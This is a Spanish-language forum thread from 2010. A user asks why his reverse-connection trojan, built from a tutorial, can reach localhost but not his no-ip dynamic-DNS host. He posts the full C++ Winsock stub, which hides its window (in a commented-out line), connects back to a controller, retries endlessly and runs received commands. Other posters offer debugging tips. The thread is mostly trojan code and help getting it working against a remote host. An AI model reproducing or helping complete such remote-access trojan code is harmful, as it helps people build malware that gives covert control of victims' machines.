Duda sobre conexion inversa

Iniciado por Mr.Blue, 23 Agosto 2010, 02:39 AM

0 Miembros y 1 Visitante están viendo este tema.

Mr.Blue

hola gente les comento, tengo una duda sobre la conexion inversa en mi programa tengo esta linea

Código (cpp) [Seleccionar]
host=gethostbyname("ejemplo.no-ip.biz");
Pero no me lo toma no hay error en la compilacion porsupuesto, pero no me permite conectar al no ip

Tengo un router entonces abro el puerto que indico en el codigo ej: 1234

Pero no me puedo visualizar en el cliente, cuando ejecuto el server.
Puede ser que tenga algo que ver con el firewall?

Intente de dos maneras una con el no-ip y otra poniendo localhost y en esta si funciona.

Saludos
PD: Todo el codigo es el explicado por EON en el tutorial de como crear un troyano C++ y VB 6.0.

[L]ord [R]NA

puedes mostrar el codigo con el cual te estas tratando de conectar?

Mr.Blue

Código (cpp) [Seleccionar]
#include <winsock2.h>
#include <windows.h>
#include <string>

#include "c:/Dev-Cpp/Módulos/funVarias.h"
#include "c:/Dev-Cpp/Módulos/mensajes.h"

#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock

int main(void)
{
   //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
   WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   int len;

   //Inicializamos
   WSAStartup(MAKEWORD(2,2),&wsa);

   //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
   host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P

   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (sock==-1)
   {
      //Si se produce un error al crear el socket
      main(); //Llamamos de nuevo a la función principal para seguir intentandolo
   }
   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
   //y decimos que el puerto al que deberá conectar
   direc.sin_family=AF_INET;
   direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);

   //Intentamos establecer la conexión hasta que lo logremos
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   while (conex==-1)
   { //Esto es lo que hará si no se puede conetar:
   Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
                   //Por ahora lo dejamos asi para hacer mas comodas las pruevas
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
   }

len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
                           //caracteres a enviar

   while (len!=0) //Mientras que permanezcamoos conectados
   {
      len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
  std::string sBuffer(Buffer);

      if (len>0)  //Si seguimos conectados...
  {

Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena

            if (Split(sBuffer, '|', 0) == "mensj")
{
//Llamamos a la funcion q muestra los mensajes
mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3));
}


       }
    }

   main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
   return 0;
}


Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.

winnipu

has probado en otro puerto por ej digamos vicentico.

Mr.Blue

?

el problema creo q esta en usar gethostbyname voy a intentar con otra getadderinfo

fary

llama a GetlastError y comprueba en que api esta el error, capaz que estas buscando en lugar equivocado el error ;)

salu2!
Un byte a la izquierda.

Mr.Blue

mmm.. tengo algunos problemas al utilizar GetlastError, revisado la MSDN, vi un ejemplo de como usarla pero al momento de compilar me salen algunos errores, creo que es por el IDE del compilador que tengo Dev-C++

Esto es lo q me tira el compilador
StringCchPrintf
#include <strsafe.h>  ---> esta libreria falta.

Hay algun reemplazo para esta libreria, para el ide q tengo?
O mejor cambio a VC++